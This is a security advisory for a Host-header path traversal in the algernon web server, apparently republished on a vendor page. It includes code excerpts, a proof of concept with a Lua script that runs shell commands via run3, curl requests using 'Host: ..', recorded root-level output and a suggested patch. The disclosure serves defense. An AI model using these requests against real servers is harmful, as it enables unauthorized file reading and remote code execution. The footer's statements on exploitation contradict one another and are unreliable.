Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-jc3j-x6pg-4hmv
No affected components available
Summary
When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.
Details
engine/handlers.go (function RegisterHandlers, around line 510):
allRequests := func(w http.ResponseWriter, req *http.Request) {
...
servedir := servedir
if addDomain {
servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531
}
...
filename := utils.URL2filename(servedir, urlpath)
utils/web.go (GetDomain):
func GetDomain(req *http.Request) string {
host, _, err := net.SplitHostPort(req.Host)
if err != nil {
return req.Host // <— Host header returned verbatim
}
return host
}
utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:
func URL2filename(dirname, urlpath string) string {
if strings.Contains(urlpath, "..") {
return dirname + Pathsep // dirname is trusted here
}
...
}
engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):
if ac.useCertMagic {
...
ac.serverAddDomain = true // <— line 372
}
Putting it together:
- The client sends
Host: ... Go's HTTP server accepts the value because.is in the URI host whitelist and there are no other characters to validate;req.Hostis... GetDomainreturns..(no port,net.SplitHostPortfails — fallback path).filepath.Join("/srv/algernon", "..")cleans to/srv.URL2filename("/srv", "/SECRET.txt")returns/srv/SECRET.txt, which the handler opens withFilePage.- For directory targets,
DirPagelists the parent — sending/afterHost: ..produces an HTML index of the parent of the docroot. - If a file with a recognised algernon extension (
.lua,.tl,.po2,.amber,.frm,.md, ...) is in the parent, the matching renderer runs server-side..luatriggers full Lua execution, includingrun3(...)which callsexec.Command("sh", "-c", command)(seelua/run3/run3.go:23).
Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.
This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).
PoC
Build the affected version:
git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .
Reproduce manually:
WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print(" "..v) end
LUA
/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1
# 1. Arbitrary file read
curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR
# 2. Parent directory listing
curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ...
# 3. Server-side Lua execution (RCE)
curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
# -> === RCE ===
# uid=0(root) gid=0(root) groups=0(root)
# Linux ...
Recorded output from a real run:
[2] arbitrary file read via Host: ..
TOP-SECRET FROM PARENT DIR
[3] directory listing of parent via Host: ..
bytes=1278, links=1
sample:
href="/alg.log"
href="/site/"
href="/SECRET.txt"
[4] Lua RCE via Host: .. when .lua exists in parent
=== RCE ===
uid=0(root) gid=0(root) groups=0(root)
Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
EXIT=0
Steps 2 and 3 reproduce with default flags (--domain alone, or --letsencrypt in production). Step 4 additionally requires a .lua file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.
Impact
- An unauthenticated remote attacker who can send a single HTTP request with a
Host: ..header can read arbitrary files inparent(--dir)and enumerate that directory. - When
--letsencryptis used (the recommended way to obtain HTTPS),--domainis enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical
--prodinvocation documented inengine/config.go:208(serverDirOrFilename = "/srv/algernon"), the parent is/srv; in multi-domain setups the parent often holds sibling site directories and shared.lualibraries.
Suggested fix
Reject Host header values that contain .., /, \, or that resolve outside the configured serverDirOrFilename. The simplest patch:
// engine/handlers.go, where addDomain is consumed
if addDomain {
domain := utils.GetDomain(req)
if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") {
w.WriteHeader(http.StatusBadRequest)
return
}
servedir = filepath.Join(servedir, domain)
}
A stronger fix when CertMagic is active is to constrain the lookup to the certMagicDomains allow-list that flags.go already builds.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard